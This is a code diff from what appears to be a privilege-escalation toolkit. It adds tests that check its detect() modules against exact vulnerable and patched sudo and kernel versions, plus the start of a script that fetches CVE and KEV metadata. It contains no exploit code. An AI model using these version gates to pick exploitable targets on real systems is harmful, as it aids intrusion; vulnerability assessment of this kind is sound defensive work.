* entrybleed reads ctx->host->meltdown_mitigation (raw sysfs line)
|
||||
* instead of re-opening /sys/.../meltdown. Test the three branches:
|
||||
* - empty string ("probe failed") → conservative VULNERABLE
|
||||
* - "Not affected" (Meltdown-immune CPU) → OK
|
||||
* - "Mitigation: PTI" (KPTI on, vulnerable) → VULNERABLE
|
||||
* The module is x86_64-only; on other arches the stub returns
|
||||
* PRECOND_FAIL regardless of meltdown status. We test the x86_64
|
||||
* branch via the synthetic host's `arch` field. */
|
||||
#if defined(__x86_64__) || defined(__amd64__)
|
||||
struct skeletonkey_host h_entry_no_data = h_kernel_6_12;
|
||||
h_entry_no_data.meltdown_mitigation[0] = '\0';
|
||||
run_one("entrybleed: meltdown probe unread → conservative VULNERABLE",
|
||||
&entrybleed_module, &h_entry_no_data,
|
||||
SKELETONKEY_VULNERABLE);
|
||||
|
||||
struct skeletonkey_host h_entry_immune = h_kernel_6_12;
|
||||
strcpy(h_entry_immune.meltdown_mitigation, "Not affected");
|
||||
run_one("entrybleed: meltdown=Not affected (immune CPU) → OK",
|
||||
&entrybleed_module, &h_entry_immune,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
struct skeletonkey_host h_entry_kpti = h_kernel_6_12;
|
||||
strcpy(h_entry_kpti.meltdown_mitigation, "Mitigation: PTI");
|
||||
run_one("entrybleed: meltdown=Mitigation: PTI → VULNERABLE",
|
||||
&entrybleed_module, &h_entry_kpti,
|
||||
SKELETONKEY_VULNERABLE);
|
||||
#else
|
||||
/* On non-x86_64 dev / CI containers, the stubbed detect() returns
|
||||
* PRECOND_FAIL regardless of meltdown_mitigation contents. */
|
||||
run_one("entrybleed: non-x86_64 arch → PRECOND_FAIL (stub)",
|
||||
&entrybleed_module, &h_kernel_6_12,
|
||||
SKELETONKEY_PRECOND_FAIL);
|
||||
#endif
|
||||
|
||||
/* ── new v0.8.0 modules ──────────────────────────────────────── */
|
||||
|
||||
/* sudo_chwoot: vulnerable sudo version range [1.9.14, 1.9.17p0].
|
||||
* Vulnerability is independent of kernel — pure version gate.
|
||||
* Test fingerprints below the range, in the range, and above. */
|
||||
struct skeletonkey_host h_sudo_chwoot_vuln = h_kernel_6_12;
|
||||
strcpy(h_sudo_chwoot_vuln.sudo_version, "1.9.16");
|
||||
run_one("sudo_chwoot: sudo 1.9.16 (in range) → VULNERABLE",
|
||||
&sudo_chwoot_module, &h_sudo_chwoot_vuln,
|
||||
SKELETONKEY_VULNERABLE);
|
||||
|
||||
struct skeletonkey_host h_sudo_chwoot_fixed = h_kernel_6_12;
|
||||
strcpy(h_sudo_chwoot_fixed.sudo_version, "1.9.17p1");
|
||||
run_one("sudo_chwoot: sudo 1.9.17p1 (fixed) → OK",
|
||||
&sudo_chwoot_module, &h_sudo_chwoot_fixed,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
struct skeletonkey_host h_sudo_chwoot_old = h_kernel_6_12;
|
||||
strcpy(h_sudo_chwoot_old.sudo_version, "1.9.13p1");
|
||||
run_one("sudo_chwoot: sudo 1.9.13p1 (pre-chroot feature) → OK",
|
||||
&sudo_chwoot_module, &h_sudo_chwoot_old,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* udisks_libblockdev: detect gates on udisksd binary + dbus
|
||||
* socket presence + active polkit session. detect() does direct
|
||||
* filesystem stat() calls (path_exists /usr/libexec/udisks2/udisksd)
|
||||
* — it can't be host-fixture-mocked. GHA ubuntu-24.04 runners ship
|
||||
* udisks2 by default, so detect returns VULNERABLE there. */
|
||||
run_one("udisks_libblockdev: udisksd present on CI runner → VULNERABLE",
|
||||
&udisks_libblockdev_module, &h_kernel_6_12,
|
||||
SKELETONKEY_VULNERABLE);
|
||||
|
||||
/* pintheft: AF_RDS socket() in CI/container is almost never
|
||||
* reachable (RDS module blacklisted on every common distro except
|
||||
* Arch) → detect returns OK ("bug exists in kernel but unreachable
|
||||
* from userland here"). */
|
||||
run_one("pintheft: AF_RDS unreachable on CI runner → OK",
|
||||
&pintheft_module, &h_kernel_6_12,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* ── v0.9.0 modules ────────────────────────────────────────── */
|
||||
|
||||
/* mutagen_astronomy: kernel 6.12 is above the 4.18.8 fix → OK */
|
||||
run_one("mutagen_astronomy: kernel 6.12 above 4.18.8 fix → OK",
|
||||
&mutagen_astronomy_module, &h_kernel_6_12,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* sudo_runas_neg1: fixed sudo (1.9.13p1) → OK */
|
||||
run_one("sudo_runas_neg1: sudo 1.9.13p1 above 1.8.28 fix → OK",
|
||||
&sudo_runas_neg1_module, &h_fixed_sudo,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* sudo_runas_neg1: vuln sudo 1.8.31 (in range), but no (ALL,!root)
|
||||
* grant for this test user → OK. detect() treats "no grant" as
|
||||
* "not exploitable" (returns OK), not "missing precondition"
|
||||
* (PRECOND_FAIL) — the user simply can't reach the bug from here. */
|
||||
run_one("sudo_runas_neg1: vuln sudo, no (ALL,!root) grant → OK",
|
||||
&sudo_runas_neg1_module, &h_vuln_sudo,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* tioscpgrp: kernel 6.12 above the 5.10 mainline fix → OK */
|
||||
run_one("tioscpgrp: kernel 6.12 above 5.10 fix → OK",
|
||||
&tioscpgrp_module, &h_kernel_6_12,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* vsock_uaf: kernel 6.12 above 6.11 mainline fix → OK */
|
||||
run_one("vsock_uaf: kernel 6.12 above 6.11 fix → OK",
|
||||
&vsock_uaf_module, &h_kernel_6_12,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* nft_pipapo: kernel 6.12 above 6.8 mainline fix → OK */
|
||||
run_one("nft_pipapo: kernel 6.12 above 6.8 fix → OK",
|
||||
&nft_pipapo_module, &h_kernel_6_12,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* nft_pipapo: kernel 5.4 predates the pipapo set type (5.6+) → OK */
|
||||
run_one("nft_pipapo: kernel 4.4 predates pipapo (5.6+) → OK",
|
||||
&nft_pipapo_module, &h_kernel_4_4,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* ── ptrace_pidfd (CVE-2026-46333) ───────────────────────────
|
||||
* Version-pinned: predates-gate at pidfd_getfd's 5.6 introduction,
|
||||
* then Debian backports 5.10.251 / 6.1.172 / 6.12.88 / 7.0.7. */
|
||||
|
||||
/* kernel 4.4 predates the pidfd_getfd vector (added 5.6) → OK */
|
||||
run_one("ptrace_pidfd: kernel 4.4 predates pidfd_getfd (5.6) → OK",
|
||||
&ptrace_pidfd_module, &h_kernel_4_4,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* 5.5.99 is one below the 5.6 vector introduction → OK */
|
||||
struct skeletonkey_host h_pidfd_5_5_99 =
|
||||
mk_host(h_kernel_6_12, 5, 5, 99, "5.5.99-test");
|
||||
run_one("ptrace_pidfd: 5.5.99 below pidfd_getfd (5.6) → OK",
|
||||
&ptrace_pidfd_module, &h_pidfd_5_5_99,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* 5.15.5 has the vector and is below every fix backport → VULNERABLE */
|
||||
struct skeletonkey_host h_pidfd_5_15_5 =
|
||||
mk_host(h_kernel_6_12, 5, 15, 5, "5.15.5-test");
|
||||
run_one("ptrace_pidfd: 5.15.5 (vector + below all fixes) → VULNERABLE",
|
||||
&ptrace_pidfd_module, &h_pidfd_5_15_5,
|
||||
SKELETONKEY_VULNERABLE);
|
||||
|
||||
/* 6.12.87 one below the trixie backport → VULNERABLE */
|
||||
struct skeletonkey_host h_pidfd_6_12_87 =
|
||||
mk_host(h_kernel_6_12, 6, 12, 87, "6.12.87-test");
|
||||
run_one("ptrace_pidfd: 6.12.87 (one below 6.12.88 backport) → VULNERABLE",
|
||||
&ptrace_pidfd_module, &h_pidfd_6_12_87,
|
||||
SKELETONKEY_VULNERABLE);
|
||||
|
||||
/* 6.12.88 exact trixie backport → OK via patch table */
|
||||
struct skeletonkey_host h_pidfd_6_12_88 =
|
||||
mk_host(h_kernel_6_12, 6, 12, 88, "6.12.88-test");
|
||||
run_one("ptrace_pidfd: 6.12.88 (exact backport) → OK via patch table",
|
||||
&ptrace_pidfd_module, &h_pidfd_6_12_88,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* 7.1.0 is newer than every entry → mainline-inherited fix → OK */
|
||||
struct skeletonkey_host h_pidfd_7_1_0 =
|
||||
mk_host(h_kernel_6_12, 7, 1, 0, "7.1.0-test");
|
||||
run_one("ptrace_pidfd: 7.1.0 above all backports → OK (mainline inherit)",
|
||||
&ptrace_pidfd_module, &h_pidfd_7_1_0,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* ── sudo_host (CVE-2025-32462) ──────────────────────────────
|
||||
* Version-gated on sudo [1.8.8, 1.9.17p0]; fixed 1.9.17p1.
|
||||
* Assumes sudo is installed on the runner (as the other sudo_*
|
||||
* rows do — detect() PRECOND_FAILs without a setuid sudo). */
|
||||
|
||||
/* vulnerable sudo 1.8.31 (in range) → VULNERABLE */
|
||||
run_one("sudo_host: sudo 1.8.31 (in range) → VULNERABLE",
|
||||
&sudo_host_module, &h_vuln_sudo,
|
||||
SKELETONKEY_VULNERABLE);
|
||||
|
||||
/* fixed sudo 1.9.17p1 → OK (note: 1.9.13p1 is still vulnerable to
|
||||
* THIS CVE, so h_fixed_sudo can't be reused here) */
|
||||
struct skeletonkey_host h_sudo_host_fixed = h_kernel_6_12;
|
||||
strcpy(h_sudo_host_fixed.sudo_version, "1.9.17p1");
|
||||
run_one("sudo_host: sudo 1.9.17p1 (fixed) → OK",
|
||||
&sudo_host_module, &h_sudo_host_fixed,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* sudo 1.8.6 predates the -h behaviour (< 1.8.8) → OK */
|
||||
struct skeletonkey_host h_sudo_host_old = h_kernel_6_12;
|
||||
strcpy(h_sudo_host_old.sudo_version, "1.8.6");
|
||||
run_one("sudo_host: sudo 1.8.6 (pre-1.8.8) → OK",
|
||||
&sudo_host_module, &h_sudo_host_old,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* sudo 1.9.17 plain (== 1.9.17p0) → VULNERABLE (fix is p1) */
|
||||
struct skeletonkey_host h_sudo_host_1917 = h_kernel_6_12;
|
||||
strcpy(h_sudo_host_1917.sudo_version, "1.9.17");
|
||||
run_one("sudo_host: sudo 1.9.17 (==p0, pre-p1 fix) → VULNERABLE",
|
||||
&sudo_host_module, &h_sudo_host_1917,
|
||||
SKELETONKEY_VULNERABLE);
|
||||
|
||||
/* ── cifswitch (CVE-2026-46243) ──────────────────────────────
|
||||
* Version-gated on Debian backports 5.10.257 / 6.1.174 / 6.12.90 /
|
||||
* 7.0.10. The VULNERABLE/PRECOND_FAIL split below the fix depends on
|
||||
* whether the cifs.upcall userspace path is present; we drive that
|
||||
* deterministically with SKELETONKEY_CIFS_ASSUME_PRESENT (1=present,
|
||||
* 0=absent) so the rows don't depend on cifs-utils being installed on
|
||||
* the runner. Patched-kernel rows return OK before the probe, so they
|
||||
* need no override. */
|
||||
|
||||
/* patched branch (exact 6.12.90 backport) → OK regardless of cifs */
|
||||
struct skeletonkey_host h_ciw_61290 =
|
||||
mk_host(h_kernel_6_12, 6, 12, 90, "6.12.90-test");
|
||||
run_one("cifswitch: 6.12.90 (exact backport) → OK via patch table",
|
||||
&cifswitch_module, &h_ciw_61290,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* 7.1.0 newer than every entry → mainline-inherited fix → OK */
|
||||
struct skeletonkey_host h_ciw_710 =
|
||||
mk_host(h_kernel_6_12, 7, 1, 0, "7.1.0-test");
|
||||
run_one("cifswitch: 7.1.0 above all backports → OK (mainline inherit)",
|
||||
&cifswitch_module, &h_ciw_710,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* vulnerable kernel (one below 6.12.90) + cifs path present → VULNERABLE */
|
||||
struct skeletonkey_host h_ciw_61289 =
|
||||
mk_host(h_kernel_6_12, 6, 12, 89, "6.12.89-test");
|
||||
setenv("SKELETONKEY_CIFS_ASSUME_PRESENT", "1", 1);
|
||||
run_one("cifswitch: 6.12.89 + cifs.upcall present → VULNERABLE",
|
||||
&cifswitch_module, &h_ciw_61289,
|
||||
SKELETONKEY_VULNERABLE);
|
||||
|
||||
/* same vulnerable kernel but cifs path absent → PRECOND_FAIL */
|
||||
setenv("SKELETONKEY_CIFS_ASSUME_PRESENT", "0", 1);
|
||||
run_one("cifswitch: 6.12.89 but cifs-utils absent → PRECOND_FAIL",
|
||||
&cifswitch_module, &h_ciw_61289,
|
||||
SKELETONKEY_PRECOND_FAIL);
|
||||
unsetenv("SKELETONKEY_CIFS_ASSUME_PRESENT");
|
||||
|
||||
/* ── nft_catchall (CVE-2026-23111) ───────────────────────────
|
||||
* Version-gated: predates-gate at catch-all set elements (~5.13),
|
||||
* then Debian backports 6.1.164 / 6.12.71 / 7.0.10, PLUS unprivileged
|
||||
* user_ns clone required (else PRECOND_FAIL). h_kernel_6_12 allows
|
||||
* userns; h_kernel_5_14_no_userns denies it. */
|
||||
|
||||
/* 5.12.50 predates catch-all set elements (~5.13) → OK */
|
||||
struct skeletonkey_host h_nca_512 =
|
||||
mk_host(h_kernel_6_12, 5, 12, 50, "5.12.50-test");
|
||||
run_one("nft_catchall: 5.12.50 predates catch-all (~5.13) → OK",
|
||||
&nft_catchall_module, &h_nca_512,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* 6.1.164 exact backport → OK via patch table */
|
||||
struct skeletonkey_host h_nca_61164 =
|
||||
mk_host(h_kernel_6_12, 6, 1, 164, "6.1.164-test");
|
||||
run_one("nft_catchall: 6.1.164 (exact backport) → OK via patch table",
|
||||
&nft_catchall_module, &h_nca_61164,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* 7.1.0 newer than every entry → mainline-inherited fix → OK */
|
||||
struct skeletonkey_host h_nca_710 =
|
||||
mk_host(h_kernel_6_12, 7, 1, 0, "7.1.0-test");
|
||||
run_one("nft_catchall: 7.1.0 above all backports → OK (mainline inherit)",
|
||||
&nft_catchall_module, &h_nca_710,
|
||||
SKELETONKEY_OK);
|
||||
|
||||
/* 6.1.163 (one below the 6.1.164 backport) + userns → VULNERABLE */
|
||||
struct skeletonkey_host h_nca_61163 =
|
||||
mk_host(h_kernel_6_12, 6, 1, 163, "6.1.163-test");
|
||||
run_one("nft_catchall: 6.1.163 + userns allowed → VULNERABLE",
|
||||
&nft_catchall_module, &h_nca_61163,
|
||||
SKELETONKEY_VULNERABLE);
|
||||
|
||||
/* 6.12.70 (one below the 6.12.71 backport) + userns → VULNERABLE */
|
||||
struct skeletonkey_host h_nca_61270 =
|
||||
mk_host(h_kernel_6_12, 6, 12, 70, "6.12.70-test");
|
||||
run_one("nft_catchall: 6.12.70 + userns allowed → VULNERABLE",
|
||||
&nft_catchall_module, &h_nca_61270,
|
||||
SKELETONKEY_VULNERABLE);
|
||||
|
||||
/* same vulnerable kernel but unprivileged userns denied → PRECOND_FAIL */
|
||||
struct skeletonkey_host h_nca_nouserns =
|
||||
mk_host(h_kernel_5_14_no_userns, 6, 1, 163, "6.1.163-nouserns-test");
|
||||
run_one("nft_catchall: 6.1.163 but userns denied → PRECOND_FAIL",
|
||||
&nft_catchall_module, &h_nca_nouserns,
|
||||
SKELETONKEY_PRECOND_FAIL);
|
||||
|
||||
/* ── coverage report ─────────────────────────────────────────
|
||||
* Iterate the runtime registry (populated by skeletonkey_register_*
|
||||
* calls in main()) and warn for any module that was not touched
|
||||
* by at least one run_one() row above. Doesn't fail CI — listing
|
||||
* is informational so we can grow coverage incrementally without
|
||||
* blocking the build. */
|
||||
{
|
||||
size_t n_reg = skeletonkey_module_count();
|
||||
size_t missing = 0;
|
||||
for (size_t i = 0; i < n_reg; i++) {
|
||||
const struct skeletonkey_module *m =
|
||||
skeletonkey_module_at(i);
|
||||
if (!m) continue;
|
||||
bool found = false;
|
||||
for (size_t j = 0; j < g_tested_count; j++) {
|
||||
if (strcmp(g_tested_modules[j], m->name) == 0) {
|
||||
found = true; break;
|
||||
}
|
||||
}
|
||||
if (!found) {
|
||||
if (missing++ == 0) {
|
||||
fprintf(stderr,
|
||||
"\n[i] coverage: module(s) without "
|
||||
"a direct detect() test row:\n");
|
||||
}
|
||||
fprintf(stderr, " - %s\n", m->name);
|
||||
}
|
||||
}
|
||||
if (missing) {
|
||||
fprintf(stderr, "[i] coverage: total %zu module(s) "
|
||||
"need test rows (registry has %zu, tests touched %zu)\n",
|
||||
missing, n_reg, g_tested_count);
|
||||
} else {
|
||||
fprintf(stderr, "[i] coverage: every registered module "
|
||||
"has at least one direct test row (%zu/%zu)\n",
|
||||
g_tested_count, n_reg);
|
||||
}
|
||||
}
|
||||
#else
|
||||
fprintf(stderr, "[i] non-Linux platform: detect() bodies are stubbed; "
|
||||
"tests skipped (would tautologically pass).\n");
|
||||
@@ -495,6 +938,12 @@ static void run_all(void)
|
||||
int main(void)
|
||||
{
|
||||
fprintf(stderr, "=== SKELETONKEY detect() unit tests ===\n\n");
|
||||
|
||||
/* Populate the runtime registry so the post-run coverage report
|
||||
* can iterate every module the main binary would. Same call used
|
||||
* by skeletonkey.c main(). */
|
||||
skeletonkey_register_all_modules();
|
||||
|
||||
run_all();
|
||||
fprintf(stderr, "\n=== RESULTS: %d passed, %d failed ===\n",
|
||||
g_pass, g_fail);
|
||||
|
||||
@@ -0,0 +1,222 @@
|
||||
/*
|
||||
* tests/test_kernel_range.c — unit tests for the central kernel
|
||||
* version-comparison helpers in core/kernel_range.c and core/host.c.
|
||||
*
|
||||
* These helpers are the foundation of the host-fingerprint pattern:
|
||||
* every module that gates on kernel version routes through
|
||||
* skeletonkey_host_kernel_at_least(),
|
||||
* skeletonkey_host_kernel_in_range(), or kernel_range_is_patched().
|
||||
* A regression in any of them silently mis-classifies entire CVE
|
||||
* families. The detect() integration tests in test_detect.c exercise
|
||||
* these indirectly via real modules; this file pins them down with
|
||||
* direct boundary-condition assertions so failures point at the right
|
||||
* file.
|
||||
*
|
||||
* Cross-platform: pure logic, no Linux syscalls. Runs identically on
|
||||
* macOS dev builds and Linux CI.
|
||||
*/
|
||||
|
||||
#include "../core/kernel_range.h"
|
||||
#include "../core/host.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
static int g_pass = 0;
|
||||
static int g_fail = 0;
|
||||
|
||||
#define EXPECT(name, cond) do { \
|
||||
if (cond) { \
|
||||
printf("[+] PASS %s\n", (name)); \
|
||||
g_pass++; \
|
||||
} else { \
|
||||
fprintf(stderr, "[-] FAIL %s\n", (name)); \
|
||||
g_fail++; \
|
||||
} \
|
||||
} while (0)
|
||||
|
||||
/* ── kernel_range_is_patched ────────────────────────────────────────── */
|
||||
|
||||
static void test_kernel_range_is_patched(void)
|
||||
{
|
||||
/* Common single-branch-plus-mainline table: backport on 5.15.42,
|
||||
* mainline fix at 5.17.0. */
|
||||
static const struct kernel_patched_from pf_5_15_5_17[] = {
|
||||
{5, 15, 42},
|
||||
{5, 17, 0},
|
||||
};
|
||||
const struct kernel_range r1 = { pf_5_15_5_17, 2 };
|
||||
|
||||
struct kernel_version v;
|
||||
|
||||
v = (struct kernel_version){5, 15, 42, NULL};
|
||||
EXPECT("range: exact backport boundary (5.15.42) → patched",
|
||||
kernel_range_is_patched(&r1, &v));
|
||||
|
||||
v = (struct kernel_version){5, 15, 41, NULL};
|
||||
EXPECT("range: one below backport (5.15.41) → vulnerable",
|
||||
!kernel_range_is_patched(&r1, &v));
|
||||
|
||||
v = (struct kernel_version){5, 15, 100, NULL};
|
||||
EXPECT("range: well above backport on same branch (5.15.100) → patched",
|
||||
kernel_range_is_patched(&r1, &v));
|
||||
|
||||
v = (struct kernel_version){5, 17, 0, NULL};
|
||||
EXPECT("range: mainline fix exact (5.17.0) → patched",
|
||||
kernel_range_is_patched(&r1, &v));
|
||||
|
||||
v = (struct kernel_version){5, 16, 0, NULL};
|
||||
EXPECT("range: between branches (5.16.0) → vulnerable",
|
||||
!kernel_range_is_patched(&r1, &v));
|
||||
|
||||
v = (struct kernel_version){5, 14, 999, NULL};
|
||||
EXPECT("range: branch below all entries (5.14.999) → vulnerable",
|
||||
!kernel_range_is_patched(&r1, &v));
|
||||
|
||||
v = (struct kernel_version){6, 12, 0, NULL};
|
||||
EXPECT("range: newer mainline branch (6.12.0) → patched via inheritance",
|
||||
kernel_range_is_patched(&r1, &v));
|
||||
|
||||
/* Mainline-only entry — common pattern for a fresh CVE with no
|
||||
* stable backports yet. */
|
||||
static const struct kernel_patched_from pf_7_0_only[] = {
|
||||
{7, 0, 0},
|
||||
};
|
||||
const struct kernel_range r2 = { pf_7_0_only, 1 };
|
||||
|
||||
v = (struct kernel_version){6, 19, 99, NULL};
|
||||
EXPECT("mainline-only: kernel below mainline (6.19.99) → vulnerable",
|
||||
!kernel_range_is_patched(&r2, &v));
|
||||
|
||||
v = (struct kernel_version){7, 0, 0, NULL};
|
||||
EXPECT("mainline-only: at mainline (7.0.0) → patched",
|
||||
kernel_range_is_patched(&r2, &v));
|
||||
|
||||
v = (struct kernel_version){7, 5, 0, NULL};
|
||||
EXPECT("mainline-only: above mainline (7.5.0) → patched",
|
||||
kernel_range_is_patched(&r2, &v));
|
||||
|
||||
/* Multi-LTS table mirroring real af_unix_gc layout. */
|
||||
static const struct kernel_patched_from pf_multi[] = {
|
||||
{4, 14, 326},
|
||||
{4, 19, 295},
|
||||
{5, 4, 257},
|
||||
{5, 10, 197},
|
||||
{5, 15, 130},
|
||||
{6, 1, 51},
|
||||
{6, 4, 13},
|
||||
{6, 5, 0},
|
||||
};
|
||||
const struct kernel_range r3 = { pf_multi, 8 };
|
||||
|
||||
v = (struct kernel_version){5, 10, 196, NULL};
|
||||
EXPECT("multi-LTS: 5.10.196 (one below backport) → vulnerable",
|
||||
!kernel_range_is_patched(&r3, &v));
|
||||
|
||||
v = (struct kernel_version){5, 10, 197, NULL};
|
||||
EXPECT("multi-LTS: 5.10.197 (exact backport) → patched",
|
||||
kernel_range_is_patched(&r3, &v));
|
||||
|
||||
v = (struct kernel_version){6, 4, 12, NULL};
|
||||
EXPECT("multi-LTS: 6.4.12 (just-added entry, below) → vulnerable",
|
||||
!kernel_range_is_patched(&r3, &v));
|
||||
|
||||
v = (struct kernel_version){6, 4, 13, NULL};
|
||||
EXPECT("multi-LTS: 6.4.13 (just-added entry, exact) → patched",
|
||||
kernel_range_is_patched(&r3, &v));
|
||||
|
||||
v = (struct kernel_version){6, 2, 0, NULL};
|
||||
EXPECT("multi-LTS: 6.2.0 (between LTS branches, no match) → vulnerable",
|
||||
!kernel_range_is_patched(&r3, &v));
|
||||
|
||||
v = (struct kernel_version){5, 8, 0, NULL};
|
||||
EXPECT("multi-LTS: 5.8.0 (between LTS branches) → vulnerable",
|
||||
!kernel_range_is_patched(&r3, &v));
|
||||
|
||||
/* NULL safety. */
|
||||
v = (struct kernel_version){5, 15, 42, NULL};
|
||||
EXPECT("null safety: NULL range → false",
|
||||
!kernel_range_is_patched(NULL, &v));
|
||||
EXPECT("null safety: NULL version → false",
|
||||
!kernel_range_is_patched(&r1, NULL));
|
||||
}
|
||||
|
||||
/* ── skeletonkey_host_kernel_at_least ───────────────────────────────── */
|
||||
|
||||
static void test_host_kernel_at_least(void)
|
||||
{
|
||||
struct skeletonkey_host h = {0};
|
||||
h.kernel.major = 6; h.kernel.minor = 12; h.kernel.patch = 5;
|
||||
|
||||
EXPECT("at_least: 6.12.5 ≥ 6.12.5 → true (exact)",
|
||||
skeletonkey_host_kernel_at_least(&h, 6, 12, 5));
|
||||
EXPECT("at_least: 6.12.5 ≥ 6.12.4 → true",
|
||||
skeletonkey_host_kernel_at_least(&h, 6, 12, 4));
|
||||
EXPECT("at_least: 6.12.5 ≥ 6.12.6 → false",
|
||||
!skeletonkey_host_kernel_at_least(&h, 6, 12, 6));
|
||||
EXPECT("at_least: 6.12.5 ≥ 6.11.999 → true (lower minor)",
|
||||
skeletonkey_host_kernel_at_least(&h, 6, 11, 999));
|
||||
EXPECT("at_least: 6.12.5 ≥ 6.13.0 → false (higher minor)",
|
||||
!skeletonkey_host_kernel_at_least(&h, 6, 13, 0));
|
||||
EXPECT("at_least: 6.12.5 ≥ 5.0.0 → true (lower major)",
|
||||
skeletonkey_host_kernel_at_least(&h, 5, 0, 0));
|
||||
EXPECT("at_least: 6.12.5 ≥ 7.0.0 → false (higher major)",
|
||||
!skeletonkey_host_kernel_at_least(&h, 7, 0, 0));
|
||||
|
||||
/* NULL host → false (don't crash). */
|
||||
EXPECT("at_least: NULL host → false",
|
||||
!skeletonkey_host_kernel_at_least(NULL, 5, 0, 0));
|
||||
|
||||
/* Unpopulated host (major == 0) → false on any positive threshold:
|
||||
* a zero kernel version means we never probed; modules should
|
||||
* fail-safe by treating "unknown" as "below". */
|
||||
struct skeletonkey_host h_zero = {0};
|
||||
EXPECT("at_least: zeroed host (major=0) → false on any threshold",
|
||||
!skeletonkey_host_kernel_at_least(&h_zero, 5, 0, 0));
|
||||
}
|
||||
|
||||
/* ── skeletonkey_host_kernel_in_range ───────────────────────────────── */
|
||||
|
||||
static void test_host_kernel_in_range(void)
|
||||
{
|
||||
struct skeletonkey_host h = {0};
|
||||
|
||||
/* Window [5.8.0, 5.17.0) — the classic mainline introduction/fix
|
||||
* pattern used by dirty_pipe and several others. */
|
||||
|
||||
h.kernel = (struct kernel_version){5, 8, 0, NULL};
|
||||
EXPECT("in_range: 5.8.0 in [5.8.0, 5.17.0) → true (lo inclusive)",
|
||||
skeletonkey_host_kernel_in_range(&h, 5, 8, 0, 5, 17, 0));
|
||||
|
||||
h.kernel = (struct kernel_version){5, 16, 999, NULL};
|
||||
EXPECT("in_range: 5.16.999 in [5.8.0, 5.17.0) → true (inside)",
|
||||
skeletonkey_host_kernel_in_range(&h, 5, 8, 0, 5, 17, 0));
|
||||
|
||||
h.kernel = (struct kernel_version){5, 17, 0, NULL};
|
||||
EXPECT("in_range: 5.17.0 in [5.8.0, 5.17.0) → false (hi exclusive)",
|
||||
!skeletonkey_host_kernel_in_range(&h, 5, 8, 0, 5, 17, 0));
|
||||
|
||||
h.kernel = (struct kernel_version){5, 7, 999, NULL};
|
||||
EXPECT("in_range: 5.7.999 below 5.8.0 → false",
|
||||
!skeletonkey_host_kernel_in_range(&h, 5, 8, 0, 5, 17, 0));
|
||||
|
||||
h.kernel = (struct kernel_version){6, 0, 0, NULL};
|
||||
EXPECT("in_range: 6.0.0 above 5.17 → false",
|
||||
!skeletonkey_host_kernel_in_range(&h, 5, 8, 0, 5, 17, 0));
|
||||
|
||||
/* NULL host. */
|
||||
EXPECT("in_range: NULL host → false",
|
||||
!skeletonkey_host_kernel_in_range(NULL, 5, 8, 0, 5, 17, 0));
|
||||
}
|
||||
|
||||
int main(void)
|
||||
{
|
||||
fprintf(stderr, "=== SKELETONKEY kernel_range unit tests ===\n\n");
|
||||
test_kernel_range_is_patched();
|
||||
test_host_kernel_at_least();
|
||||
test_host_kernel_in_range();
|
||||
fprintf(stderr, "\n=== RESULTS: %d passed, %d failed ===\n",
|
||||
g_pass, g_fail);
|
||||
return g_fail ? 1 : 0;
|
||||
}
|
||||
Binary file not shown.
Executable
+334
@@ -0,0 +1,334 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
tools/refresh-cve-metadata.py — fetch CWE + KEV status for every CVE in the
|
||||
SKELETONKEY corpus from authoritative federal sources.
|
||||
|
||||
Sources:
|
||||
- CISA Known Exploited Vulnerabilities catalog
|
||||
https://www.cisa.gov/sites/default/files/csv/known_exploited_vulnerabilities.csv
|
||||
(authoritative for "is this exploited in the wild?")
|
||||
- NVD CVE API 2.0
|
||||
https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=...
|
||||
(authoritative for CWE classification)
|
||||
|
||||
The output is intentionally NOT auto-applied to module sources — drift
|
||||
between an external source and our embedded metadata should surface as
|
||||
a diff a human reviews. The tool produces:
|
||||
|
||||
docs/CVE_METADATA.json machine-readable per-CVE record
|
||||
docs/KEV_CROSSREF.md human-readable KEV table
|
||||
|
||||
Modules consume the JSON via copy-paste into their struct skeletonkey_module
|
||||
literal (attack_technique, cwe, in_kev, kev_date_added fields). The
|
||||
provenance comment in core/module.h points contributors back here.
|
||||
|
||||
No API key required; the script throttles to NVD's anonymous 5-req/30s
|
||||
limit. ~3 minutes total for 26 CVEs.
|
||||
|
||||
Usage:
|
||||
tools/refresh-cve-metadata.py # refresh + write outputs
|
||||
tools/refresh-cve-metadata.py --check # diff against committed JSON, exit 1 on drift
|
||||
|
||||
Dependencies: stdlib only. Python 3.8+.
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import csv
|
||||
import io
|
||||
import json
|
||||
import os
|
||||
import sys
|
||||
import time
|
||||
import urllib.error
|
||||
import urllib.request
|
||||
from pathlib import Path
|
||||
|
||||
REPO_ROOT = Path(__file__).resolve().parent.parent
|
||||
MODULES_DIR = REPO_ROOT / "modules"
|
||||
OUT_JSON = REPO_ROOT / "docs" / "CVE_METADATA.json"
|
||||
OUT_MD = REPO_ROOT / "docs" / "KEV_CROSSREF.md"
|
||||
OUT_C = REPO_ROOT / "core" / "cve_metadata.c"
|
||||
|
||||
KEV_URL = "https://www.cisa.gov/sites/default/files/csv/known_exploited_vulnerabilities.csv"
|
||||
NVD_URL = "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId={cve}"
|
||||
|
||||
# Per NVD's anonymous rate limit: 5 requests per 30 seconds.
|
||||
NVD_DELAY_SECONDS = 7
|
||||
|
||||
